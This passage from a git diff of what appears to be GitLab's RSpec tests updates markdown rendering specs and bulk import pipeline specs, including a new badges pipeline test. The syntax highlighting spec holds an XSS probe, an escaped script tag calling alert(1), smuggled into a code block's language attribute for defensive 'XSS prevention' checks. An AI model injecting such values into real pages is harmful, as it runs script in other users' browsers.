expect(link.attr('data-merge-request')).to eq merge.id.to_s
end
+ it 'includes a data-reference-format attribute' do
+ doc = reference_filter("Merge #{reference}+")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-reference-format')
+ expect(link.attr('data-reference-format')).to eq('+')
+ end
+
+ it 'includes a data-reference-format attribute for URL references' do
+ doc = reference_filter("Merge #{urls.project_merge_request_url(project, merge)}+")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-reference-format')
+ expect(link.attr('data-reference-format')).to eq('+')
+ end
+
it 'supports an :only_path context' do
doc = reference_filter("Merge #{reference}", only_path: true)
link = doc.css('a').first.attr('href')
diff --git a/spec/lib/banzai/filter/references/reference_cache_spec.rb b/spec/lib/banzai/filter/references/reference_cache_spec.rb
index dcd153da16a..dc43c33a08d 100644
--- a/spec/lib/banzai/filter/references/reference_cache_spec.rb
+++ b/spec/lib/banzai/filter/references/reference_cache_spec.rb
@@ -35,18 +35,6 @@ RSpec.describe Banzai::Filter::References::ReferenceCache do
subject
end
-
- context 'when feature flag is disabled' do
- before do
- stub_feature_flags(reference_cache_memoization: false)
- end
-
- it 'ignores memoized rendered HTML' do
- expect(doc).to receive(:to_html).and_call_original
-
- subject
- end
- end
end
context 'when result is not available' do
diff --git a/spec/lib/banzai/filter/sanitization_filter_spec.rb b/spec/lib/banzai/filter/sanitization_filter_spec.rb
index 8eb8e5cf800..24e787bddd5 100644
--- a/spec/lib/banzai/filter/sanitization_filter_spec.rb
+++ b/spec/lib/banzai/filter/sanitization_filter_spec.rb
@@ -115,6 +115,11 @@ RSpec.describe Banzai::Filter::SanitizationFilter do
expect(filter(act).to_html).to eq exp
end
+ it 'allows `rel=license` in links' do
+ exp = act = '<a rel="license" href="http://example.com">rel-license</a>'
+ expect(filter(act).to_html).to eq exp
+ end
+
it 'allows `data-math-style` attribute on `code` and `pre` elements' do
html = <<-HTML
<pre class="code" data-math-style="inline">something</pre>
diff --git a/spec/lib/banzai/filter/syntax_highlight_filter_spec.rb b/spec/lib/banzai/filter/syntax_highlight_filter_spec.rb
index dfe022b51d2..ef46fd62486 100644
--- a/spec/lib/banzai/filter/syntax_highlight_filter_spec.rb
+++ b/spec/lib/banzai/filter/syntax_highlight_filter_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
it "highlights as plaintext" do
result = filter('<pre><code>def fun end</code></pre>')
- expect(result.to_html).to eq('<pre class="code highlight js-syntax-highlight language-plaintext" lang="plaintext" v-pre="true"><code><span id="LC1" class="line" lang="plaintext">def fun end</span></code></pre>')
+ expect(result.to_html.delete("\n")).to eq('<div class="gl-relative markdown-code-block js-markdown-code"><pre class="code highlight js-syntax-highlight language-plaintext" lang="plaintext" v-pre="true"><code><span id="LC1" class="line" lang="plaintext">def fun end</span></code></pre><copy-code></copy-code></div>')
end
include_examples "XSS prevention", ""
@@ -40,13 +40,13 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
context "when a valid language is specified" do
it "highlights as that language" do
- result = if Feature.enabled?(:use_cmark_renderer)
+ result = if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
filter('<pre lang="ruby"><code>def fun end</code></pre>')
else
filter('<pre><code lang="ruby">def fun end</code></pre>')
end
- expect(result.to_html).to eq('<pre class="code highlight js-syntax-highlight language-ruby" lang="ruby" v-pre="true"><code><span id="LC1" class="line" lang="ruby"><span class="k">def</span> <span class="nf">fun</span> <span class="k">end</span></span></code></pre>')
+ expect(result.to_html.delete("\n")).to eq('<div class="gl-relative markdown-code-block js-markdown-code"><pre class="code highlight js-syntax-highlight language-ruby" lang="ruby" v-pre="true"><code><span id="LC1" class="line" lang="ruby"><span class="k">def</span> <span class="nf">fun</span> <span class="k">end</span></span></code></pre><copy-code></copy-code></div>')
end
include_examples "XSS prevention", "ruby"
@@ -54,13 +54,13 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
context "when an invalid language is specified" do
it "highlights as plaintext" do
- result = if Feature.enabled?(:use_cmark_renderer)
+ result = if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
filter('<pre lang="gnuplot"><code>This is a test</code></pre>')
else
filter('<pre><code lang="gnuplot">This is a test</code></pre>')
end
- expect(result.to_html).to eq('<pre class="code highlight js-syntax-highlight language-plaintext" lang="plaintext" v-pre="true"><code><span id="LC1" class="line" lang="plaintext">This is a test</span></code></pre>')
+ expect(result.to_html.delete("\n")).to eq('<div class="gl-relative markdown-code-block js-markdown-code"><pre class="code highlight js-syntax-highlight language-plaintext" lang="plaintext" v-pre="true"><code><span id="LC1" class="line" lang="plaintext">This is a test</span></code></pre><copy-code></copy-code></div>')
end
include_examples "XSS prevention", "gnuplot"
@@ -73,13 +73,13 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
%w(math mermaid plantuml suggestion).each do |lang|
context "when #{lang} is specified" do
it "highlights as plaintext but with the correct language attribute and class" do
- result = if Feature.enabled?(:use_cmark_renderer)
+ result = if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
filter(%{<pre lang="#{lang}"><code>This is a test</code></pre>})
else
filter(%{<pre><code lang="#{lang}">This is a test</code></pre>})
end
- expect(result.to_html).to eq(%{<pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre>})
+ expect(result.to_html.delete("\n")).to eq(%{<div class="gl-relative markdown-code-block js-markdown-code"><pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre><copy-code></copy-code></div>})
end
include_examples "XSS prevention", lang
@@ -89,7 +89,7 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
let(:lang_params) { 'foo-bar-kux' }
let(:xss_lang) do
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
"#{lang} data-meta=\"foo-bar-kux\"&lt;script&gt;alert(1)&lt;/script&gt;"
else
"#{lang}#{described_class::LANG_PARAMS_DELIMITER}&lt;script&gt;alert(1)&lt;/script&gt;"
@@ -97,18 +97,18 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
end
it "includes data-lang-params tag with extra information" do
- result = if Feature.enabled?(:use_cmark_renderer)
+ result = if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
filter(%{<pre lang="#{lang}" data-meta="#{lang_params}"><code>This is a test</code></pre>})
else
filter(%{<pre><code lang="#{lang}#{delimiter}#{lang_params}">This is a test</code></pre>})
end
- expect(result.to_html).to eq(%{<pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" #{data_attr}="#{lang_params}" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre>})
+ expect(result.to_html.delete("\n")).to eq(%{<div class="gl-relative markdown-code-block js-markdown-code"><pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" #{data_attr}="#{lang_params}" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre><copy-code></copy-code></div>})
end
include_examples "XSS prevention", lang
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
include_examples "XSS prevention",
"#{lang} data-meta=\"foo-bar-kux\"&lt;script&gt;alert(1)&lt;/script&gt;"
else
@@ -126,19 +126,19 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
let(:lang_params) { '-1+10' }
let(:expected_result) do
- %{<pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" #{data_attr}="#{lang_params} more-things" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre>}
+ %{<div class="gl-relative markdown-code-block js-markdown-code"><pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" #{data_attr}="#{lang_params} more-things" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre><copy-code></copy-code></div>}
end
context 'when delimiter is space' do
it 'delimits on the first appearance' do
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
result = filter(%{<pre lang="#{lang}" data-meta="#{lang_params} more-things"><code>This is a test</code></pre>})
- expect(result.to_html).to eq(expected_result)
+ expect(result.to_html.delete("\n")).to eq(expected_result)
else
result = filter(%{<pre><code lang="#{lang}#{delimiter}#{lang_params}#{delimiter}more-things">This is a test</code></pre>})
- expect(result.to_html).to eq(%{<pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" #{data_attr}="#{lang_params}#{delimiter}more-things" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre>})
+ expect(result.to_html.delete("\n")).to eq(%{<div class="gl-relative markdown-code-block js-markdown-code"><pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" #{data_attr}="#{lang_params}#{delimiter}more-things" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre><copy-code></copy-code></div>})
end
end
end
@@ -147,10 +147,10 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
it 'delimits on the first appearance' do
result = filter(%{<pre lang="#{lang}#{delimiter}#{lang_params} more-things"><code>This is a test</code></pre>})
- if Feature.enabled?(:use_cmark_renderer)
- expect(result.to_html).to eq(expected_result)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
+ expect(result.to_html.delete("\n")).to eq(expected_result)
else
- expect(result.to_html).to eq(%{<pre class=\"code highlight js-syntax-highlight language-plaintext\" lang=\"plaintext\" v-pre=\"true\"><code><span id=\"LC1\" class=\"line\" lang=\"plaintext\">This is a test</span></code></pre>})
+ expect(result.to_html.delete("\n")).to eq(%{<div class="gl-relative markdown-code-block js-markdown-code"><pre class=\"code highlight js-syntax-highlight language-plaintext\" lang=\"plaintext\" v-pre=\"true\"><code><span id=\"LC1\" class=\"line\" lang=\"plaintext\">This is a test</span></code></pre><copy-code></copy-code></div>})
end
end
end
@@ -161,7 +161,7 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
it "includes it in the highlighted code block" do
result = filter('<pre data-sourcepos="1:1-3:3"><code lang="plaintext">This is a test</code></pre>')
- expect(result.to_html).to eq('<pre data-sourcepos="1:1-3:3" class="code highlight js-syntax-highlight language-plaintext" lang="plaintext" v-pre="true"><code><span id="LC1" class="line" lang="plaintext">This is a test</span></code></pre>')
+ expect(result.to_html.delete("\n")).to eq('<div class="gl-relative markdown-code-block js-markdown-code"><pre data-sourcepos="1:1-3:3" class="code highlight js-syntax-highlight language-plaintext" lang="plaintext" v-pre="true"><code><span id="LC1" class="line" lang="plaintext">This is a test</span></code></pre><copy-code></copy-code></div>')
end
end
@@ -173,13 +173,13 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
end
it "highlights as plaintext" do
- result = if Feature.enabled?(:use_cmark_renderer)
+ result = if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
filter('<pre lang="ruby"><code>This is a test</code></pre>')
else
filter('<pre><code lang="ruby">This is a test</code></pre>')
end
- expect(result.to_html).to eq('<pre class="code highlight js-syntax-highlight" lang="" v-pre="true"><code><span id="LC1" class="line" lang="">This is a test</span></code></pre>')
+ expect(result.to_html.delete("\n")).to eq('<div class="gl-relative markdown-code-block js-markdown-code"><pre class="code highlight js-syntax-highlight" lang="" v-pre="true"><code><span id="LC1" class="line" lang="">This is a test</span></code></pre><copy-code></copy-code></div>')
end
include_examples "XSS prevention", "ruby"
diff --git a/spec/lib/banzai/pipeline/full_pipeline_spec.rb b/spec/lib/banzai/pipeline/full_pipeline_spec.rb
index 01bca7b23e8..620b7d97a5b 100644
--- a/spec/lib/banzai/pipeline/full_pipeline_spec.rb
+++ b/spec/lib/banzai/pipeline/full_pipeline_spec.rb
@@ -43,26 +43,27 @@ RSpec.describe Banzai::Pipeline::FullPipeline do
let(:filtered_footnote) do
<<~EOF.strip_heredoc
- <p dir="auto">first<sup class="footnote-ref"><a href="#fn-1-#{identifier}" id="fnref-1-#{identifier}" data-footnote-ref="">1</a></sup> and second<sup class="footnote-ref"><a href="#fn-%F0%9F%98%84second-#{identifier}" id="fnref-%F0%9F%98%84second-#{identifier}" data-footnote-ref="">2</a></sup> and twenty<sup class="footnote-ref"><a href="#fn-_twenty-#{identifier}" id="fnref-_twenty-#{identifier}" data-footnote-ref="">3</a></sup></p>
-
- <section class="footnotes" data-footnotes><ol>
+ <p dir="auto">first<sup class="footnote-ref"><a href="#fn-1-#{identifier}" id="fnref-1-#{identifier}" data-footnote-ref>1</a></sup> and second<sup class="footnote-ref"><a href="#fn-%F0%9F%98%84second-#{identifier}" id="fnref-%F0%9F%98%84second-#{identifier}" data-footnote-ref>2</a></sup> and twenty<sup class="footnote-ref"><a href="#fn-_twenty-#{identifier}" id="fnref-_twenty-#{identifier}" data-footnote-ref>3</a></sup></p>
+ <section data-footnotes class="footnotes">
+ <ol>
<li id="fn-1-#{identifier}">
- <p>one <a href="#fnref-1-#{identifier}" aria-label="Back to content" class="footnote-backref" data-footnote-backref=""><gl-emoji title="leftwards arrow with hook" data-name="leftwards_arrow_with_hook" data-unicode-version="1.1">↩</gl-emoji></a></p>
+ <p>one <a href="#fnref-1-#{identifier}" data-footnote-backref aria-label="Back to content" class="footnote-backref"><gl-emoji title="leftwards arrow with hook" data-name="leftwards_arrow_with_hook" data-unicode-version="1.1">↩</gl-emoji></a></p>
</li>
<li id="fn-%F0%9F%98%84second-#{identifier}">
- <p>two <a href="#fnref-%F0%9F%98%84second-#{identifier}" aria-label="Back to content" class="footnote-backref" data-footnote-backref=""><gl-emoji title="leftwards arrow with hook" data-name="leftwards_arrow_with_hook" data-unicode-version="1.1">↩</gl-emoji></a></p>
+ <p>two <a href="#fnref-%F0%9F%98%84second-#{identifier}" data-footnote-backref aria-label="Back to content" class="footnote-backref"><gl-emoji title="leftwards arrow with hook" data-name="leftwards_arrow_with_hook" data-unicode-version="1.1">↩</gl-emoji></a></p>
</li>
<li id="fn-_twenty-#{identifier}">
- <p>twenty <a href="#fnref-_twenty-#{identifier}" aria-label="Back to content" class="footnote-backref" data-footnote-backref=""><gl-emoji title="leftwards arrow with hook" data-name="leftwards_arrow_with_hook" data-unicode-version="1.1">↩</gl-emoji></a></p>
+ <p>twenty <a href="#fnref-_twenty-#{identifier}" data-footnote-backref aria-label="Back to content" class="footnote-backref"><gl-emoji title="leftwards arrow with hook" data-name="leftwards_arrow_with_hook" data-unicode-version="1.1">↩</gl-emoji></a></p>
</li>
- </ol></section>
+ </ol>
+ </section>
EOF
end
it 'properly adds the necessary ids and classes' do
stub_commonmark_sourcepos_disabled
- expect(html.lines.map(&:strip).join("\n")).to eq filtered_footnote
+ expect(html.lines.map(&:strip).join("\n")).to eq filtered_footnote.strip
end
context 'using ruby-based HTML renderer' do
diff --git a/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb b/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb
index 394fcc06eba..c8cd9d4fcac 100644
--- a/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb
+++ b/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb
@@ -71,7 +71,7 @@ RSpec.describe Banzai::Pipeline::PlainMarkdownPipeline do
let(:markdown) { %Q(``` foo\\@bar\nfoo\n```) }
it 'renders correct html' do
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
correct_html_included(markdown, %Q(<pre data-sourcepos="1:1-3:3" lang="foo@bar"><code>foo\n</code></pre>))
else
correct_html_included(markdown, %Q(<code lang="foo@bar">foo\n</code>))
diff --git a/spec/lib/banzai/reference_parser/base_parser_spec.rb b/spec/lib/banzai/reference_parser/base_parser_spec.rb
index 4701caa0667..d31ccccd6c3 100644
--- a/spec/lib/banzai/reference_parser/base_parser_spec.rb
+++ b/spec/lib/banzai/reference_parser/base_parser_spec.rb
@@ -29,10 +29,10 @@ RSpec.describe Banzai::ReferenceParser::BaseParser do
describe '#project_for_node' do
it 'returns the Project for a node' do
- document = instance_double('document', fragment?: false)
- project = instance_double('project')
- object = instance_double('object', project: project)
- node = instance_double('node', document: document)
+ document = double('document', fragment?: false)
+ project = instance_double('Project')
+ object = double('object', project: project)
+ node = double('node', document: document)
context.associate_document(document, object)
diff --git a/spec/lib/banzai/render_context_spec.rb b/spec/lib/banzai/render_context_spec.rb
index c4b609b936e..4b5c2c5a7df 100644
--- a/spec/lib/banzai/render_context_spec.rb
+++ b/spec/lib/banzai/render_context_spec.rb
@@ -7,15 +7,15 @@ RSpec.describe Banzai::RenderContext do
describe '#project_for_node' do
it 'returns the default project if no associated project was found' do
- project = instance_double('project')
+ project = instance_double('Project')
context = described_class.new(project)
expect(context.project_for_node(document)).to eq(project)
end
it 'returns the associated project if one was associated explicitly' do
- project = instance_double('project')
- obj = instance_double('object', project: project)
+ project = instance_double('Project')
+ obj = double('object', project: project)
context = described_class.new
context.associate_document(document, obj)
@@ -24,8 +24,8 @@ RSpec.describe Banzai::RenderContext do
end
it 'returns the project associated with a DocumentFragment when using a node' do
- project = instance_double('project')
- obj = instance_double('object', project: project)
+ project = instance_double('Project')
+ obj = double('object', project: project)
context = described_class.new
node = document.children.first
diff --git a/spec/lib/bulk_imports/clients/http_spec.rb b/spec/lib/bulk_imports/clients/http_spec.rb
index 623f9aa453a..1bbc96af8ee 100644
--- a/spec/lib/bulk_imports/clients/http_spec.rb
+++ b/spec/lib/bulk_imports/clients/http_spec.rb
@@ -38,11 +38,11 @@ RSpec.describe BulkImports::Clients::HTTP do
context 'when response is not success' do
it 'raises BulkImports::Error' do
- response_double = double(code: 503, success?: false)
+ response_double = double(code: 503, success?: false, request: double(path: double(path: '/test')))
allow(Gitlab::HTTP).to receive(method).and_return(response_double)
- expect { subject.public_send(method, resource) }.to raise_exception(BulkImports::NetworkError)
+ expect { subject.public_send(method, resource) }.to raise_exception(BulkImports::NetworkError, 'Unsuccessful response 503 from /test')
end
end
end
diff --git a/spec/lib/bulk_imports/common/pipelines/badges_pipeline_spec.rb b/spec/lib/bulk_imports/common/pipelines/badges_pipeline_spec.rb
new file mode 100644
index 00000000000..6c5465c8a66
--- /dev/null
+++ b/spec/lib/bulk_imports/common/pipelines/badges_pipeline_spec.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Common::Pipelines::BadgesPipeline do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project) }
+
+ let(:entity) { create(:bulk_import_entity, group: group) }
+ let(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ subject(:pipeline) { described_class.new(context) }
+
+ describe '#run' do
+ let(:first_page) { extracted_data(has_next_page: true) }
+ let(:last_page) { extracted_data(name: 'badge2') }
+
+ before do
+ allow_next_instance_of(BulkImports::Common::Extractors::RestExtractor) do |extractor|
+ allow(extractor).to receive(:extract).and_return(first_page, last_page)
+ end
+ end
+
+ it 'imports a group badge' do
+ expect { pipeline.run }.to change(Badge, :count).by(2)
+
+ badge = group.badges.last
+
+ expect(badge.name).to eq('badge2')
+ expect(badge.link_url).to eq(badge_data['link_url'])
+ expect(badge.image_url).to eq(badge_data['image_url'])
+ end
+
+ context 'when project entity' do
+ let(:first_page) { extracted_data(has_next_page: true) }
+ let(:last_page) { extracted_data(name: 'badge2', kind: 'project') }
+ let(:entity) { create(:bulk_import_entity, :project_entity, project: project) }
+
+ it 'imports a project badge & skips group badge' do
+ expect { pipeline.run }.to change(Badge, :count).by(1)
+
+ badge = project.badges.last
+
+ expect(badge.name).to eq('badge2')
+ expect(badge.link_url).to eq(badge_data['link_url'])
+ expect(badge.image_url).to eq(badge_data['image_url'])
+ expect(badge.type).to eq('ProjectBadge')
+ end
+ end
+
+ describe '#transform' do
+ it 'return transformed badge hash' do
+ badge = subject.transform(context, badge_data)
+
+ expect(badge[:name]).to eq('badge')
+ expect(badge[:link_url]).to eq(badge_data['link_url'])
+ expect(badge[:image_url]).to eq(badge_data['image_url'])
+ expect(badge.keys).to contain_exactly(:name, :link_url, :image_url)
+ end
+
+ context 'when data is blank' do
+ it 'does nothing when the data is blank' do
+ expect(subject.transform(context, nil)).to be_nil
+ end
+ end
+
+ context 'when project entity & group badge' do
+ let(:entity) { create(:bulk_import_entity, :project_entity, project: project) }
+
+ it 'returns' do
+ expect(subject.transform(context, { 'name' => 'test', 'kind' => 'group' })).to be_nil
+ end
+ end
+ end
+
+ def badge_data(name = 'badge', kind = 'group')
+ {
+ 'name' => name,
+ 'link_url' => 'https://gitlab.example.com',
+ 'image_url' => 'https://gitlab.example.com/image.png',
+ 'kind' => kind
+ }
+ end
+
+ def extracted_data(name: 'badge', kind: 'group', has_next_page: false)
+ page_info = {
+ 'has_next_page' => has_next_page,
+ 'next_page' => has_next_page ? '2' : nil
+ }
+
+ BulkImports::Pipeline::ExtractedData.new(data: [badge_data(name, kind)], page_info: page_info)
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/common/pipelines/labels_pipeline_spec.rb b/spec/lib/bulk_imports/common/pipelines/labels_pipeline_spec.rb
index 9e3a6d5b8df..48db24def48 100644
--- a/spec/lib/bulk_imports/common/pipelines/labels_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/common/pipelines/labels_pipeline_spec.rb
@@ -59,16 +59,6 @@ RSpec.describe BulkImports::Common::Pipelines::LabelsPipeline do
end
end
- context 'when label is persisted' do
- it 'does not save label' do
- label = create(:group_label, group: group)
-
- expect(label).not_to receive(:save!)
-
- subject.load(context, label)
- end
- end
-
context 'when label is missing' do
it 'returns' do
expect(subject.load(context, nil)).to be_nil
diff --git a/spec/lib/bulk_imports/common/pipelines/milestones_pipeline_spec.rb b/spec/lib/bulk_imports/common/pipelines/milestones_pipeline_spec.rb
index 9f71175f46f..902b29bc365 100644
--- a/spec/lib/bulk_imports/common/pipelines/milestones_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/common/pipelines/milestones_pipeline_spec.rb
@@ -81,16 +81,6 @@ RSpec.describe BulkImports::Common::Pipelines::MilestonesPipeline do
end
end
- context 'when milestone is persisted' do
- it 'does not save milestone' do
- milestone = create(:milestone, group: group)
-
- expect(milestone).not_to receive(:save!)
-
- subject.load(context, milestone)
- end
- end
-
context 'when milestone is missing' do
it 'returns' do
expect(subject.load(context, nil)).to be_nil
diff --git a/spec/lib/bulk_imports/common/pipelines/uploads_pipeline_spec.rb b/spec/lib/bulk_imports/common/pipelines/uploads_pipeline_spec.rb
index a3cc866a406..0f6238e10dc 100644
--- a/spec/lib/bulk_imports/common/pipelines/uploads_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/common/pipelines/uploads_pipeline_spec.rb
@@ -5,11 +5,12 @@ require 'spec_helper'
RSpec.describe BulkImports::Common::Pipelines::UploadsPipeline do
let_it_be(:tmpdir) { Dir.mktmpdir }
let_it_be(:project) { create(:project) }
- let_it_be(:entity) { create(:bulk_import_entity, :project_entity, project: project, source_full_path: 'test') }
- let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
- let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
- let_it_be(:uploads_dir_path) { File.join(tmpdir, '72a497a02fe3ee09edae2ed06d390038') }
- let_it_be(:upload_file_path) { File.join(uploads_dir_path, 'upload.txt')}
+ let_it_be(:group) { create(:group) }
+
+ let(:uploads_dir_path) { File.join(tmpdir, '72a497a02fe3ee09edae2ed06d390038') }
+ let(:upload_file_path) { File.join(uploads_dir_path, 'upload.txt')}
+ let(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let(:context) { BulkImports::Pipeline::Context.new(tracker) }
subject(:pipeline) { described_class.new(context) }
@@ -24,57 +25,101 @@ RSpec.describe BulkImports::Common::Pipelines::UploadsPipeline do
FileUtils.remove_entry(tmpdir) if Dir.exist?(tmpdir)
end
- describe '#run' do
- it 'imports uploads into destination portable and removes tmpdir' do
- allow(Dir).to receive(:mktmpdir).with('bulk_imports').and_return(tmpdir)
- allow(pipeline).to receive(:extract).and_return(BulkImports::Pipeline::ExtractedData.new(data: [upload_file_path]))
+ shared_examples 'uploads import' do
+ describe '#run' do
+ before do
+ allow(Dir).to receive(:mktmpdir).with('bulk_imports').and_return(tmpdir)
+ allow(pipeline).to receive(:extract).and_return(BulkImports::Pipeline::ExtractedData.new(data: [upload_file_path]))
+ end
- pipeline.run
+ it 'imports uploads into destination portable and removes tmpdir' do
+ pipeline.run
- expect(project.uploads.map { |u| u.retrieve_uploader.filename }).to include('upload.txt')
+ expect(portable.uploads.map { |u| u.retrieve_uploader.filename }).to include('upload.txt')
- expect(Dir.exist?(tmpdir)).to eq(false)
- end
- end
+ expect(Dir.exist?(tmpdir)).to eq(false)
+ end
- describe '#extract' do
- it 'downloads & extracts upload paths' do
- allow(Dir).to receive(:mktmpdir).and_return(tmpdir)
- expect(pipeline).to receive(:untar_zxf)
- file_download_service = instance_double("BulkImports::FileDownloadService")
+ context 'when importing avatar' do
+ let(:uploads_dir_path) { File.join(tmpdir, 'avatar') }
- expect(BulkImports::FileDownloadService)
- .to receive(:new)
- .with(
- configuration: context.configuration,
- relative_url: "/projects/test/export_relations/download?relation=uploads",
- dir: tmpdir,
- filename: 'uploads.tar.gz')
- .and_return(file_download_service)
+ it 'imports avatar' do
+ FileUtils.touch(File.join(uploads_dir_path, 'avatar.png'))
- expect(file_download_service).to receive(:execute)
+ expect_next_instance_of(entity.update_service) do |service|
+ expect(service).to receive(:execute)
+ end
- extracted_data = pipeline.extract(context)
+ pipeline.run
+ end
- expect(extracted_data.data).to contain_exactly(uploads_dir_path, upload_file_path)
- end
- end
+ context 'when something goes wrong' do
+ it 'raises exception' do
+ allow_next_instance_of(entity.update_service) do |service|
+ allow(service).to receive(:execute).and_return(nil)
+ end
+
+ pipeline.run
- describe '#load' do
- it 'creates a file upload' do
- expect { pipeline.load(context, upload_file_path) }.to change { project.uploads.count }.by(1)
+ expect(entity.failures.first.exception_class).to include('AvatarLoadingError')
+ end
+ end
+ end
end
- context 'when dynamic path is nil' do
- it 'returns' do
- expect { pipeline.load(context, File.join(tmpdir, 'test')) }.not_to change { project.uploads.count }
+ describe '#extract' do
+ it 'downloads & extracts upload paths' do
+ allow(Dir).to receive(:mktmpdir).and_return(tmpdir)
+ expect(pipeline).to receive(:untar_zxf)
+ file_download_service = instance_double("BulkImports::FileDownloadService")
+
+ expect(BulkImports::FileDownloadService)
+ .to receive(:new)
+ .with(
+ configuration: context.configuration,
+ relative_url: "/#{entity.pluralized_name}/test/export_relations/download?relation=uploads",
+ dir: tmpdir,
+ filename: 'uploads.tar.gz')
+ .and_return(file_download_service)
+
+ expect(file_download_service).to receive(:execute)
+
+ extracted_data = pipeline.extract(context)
+
+ expect(extracted_data.data).to contain_exactly(uploads_dir_path, upload_file_path)
end
end
- context 'when path is a directory' do
- it 'returns' do
- expect { pipeline.load(context, uploads_dir_path) }.not_to change { project.uploads.count }
+ describe '#load' do
+ it 'creates a file upload' do
+ expect { pipeline.load(context, upload_file_path) }.to change { portable.uploads.count }.by(1)
+ end
+
+ context 'when dynamic path is nil' do
+ it 'returns' do
+ expect { pipeline.load(context, File.join(tmpdir, 'test')) }.not_to change { portable.uploads.count }
+ end
+ end
+
+ context 'when path is a directory' do
+ it 'returns' do
+ expect { pipeline.load(context, uploads_dir_path) }.not_to change { portable.uploads.count }
+ end
end
end
end
+
+ context 'when importing to group' do
+ let(:portable) { group }
+ let(:entity) { create(:bulk_import_entity, :group_entity, group: group, source_full_path: 'test') }
+
+ include_examples 'uploads import'
+ end
+
+ context 'when importing to project' do
+ let(:portable) { project }
+ let(:entity) { create(:bulk_import_entity, :project_entity, project: project, source_full_path: 'test') }
+
+ include_examples 'uploads import'
+ end
end
diff --git a/spec/lib/bulk_imports/common/rest/get_badges_query_spec.rb b/spec/lib/bulk_imports/common/rest/get_badges_query_spec.rb
new file mode 100644
index 00000000000..0a04c0a2243
--- /dev/null
+++ b/spec/lib/bulk_imports/common/rest/get_badges_query_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Common::Rest::GetBadgesQuery do
+ describe '.to_h' do
+ shared_examples 'resource and page info query' do
+ let(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let(:context) { BulkImports::Pipeline::Context.new(tracker) }
+ let(:encoded_full_path) { ERB::Util.url_encode(entity.source_full_path) }
+
+ it 'returns correct query and page info' do
+ expected = {
+ resource: [entity.pluralized_name, encoded_full_path, 'badges'].join('/'),
+ query: {
+ page: context.tracker.next_page
+ }
+ }
+
+ expect(described_class.to_h(context)).to eq(expected)
+ end
+ end
+
+ context 'when entity is group' do
+ let(:entity) { create(:bulk_import_entity) }
+
+ include_examples 'resource and page info query'
+ end
+
+ context 'when entity is project' do
+ let(:entity) { create(:bulk_import_entity, :project_entity) }
+
+ include_examples 'resource and page info query'
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/groups/pipelines/badges_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/badges_pipeline_spec.rb
deleted file mode 100644
index 9fa35c4707d..00000000000
--- a/spec/lib/bulk_imports/groups/pipelines/badges_pipeline_spec.rb
+++ /dev/null
@@ -1,116 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe BulkImports::Groups::Pipelines::BadgesPipeline do
- let_it_be(:user) { create(:user) }
- let_it_be(:group) { create(:group) }
-
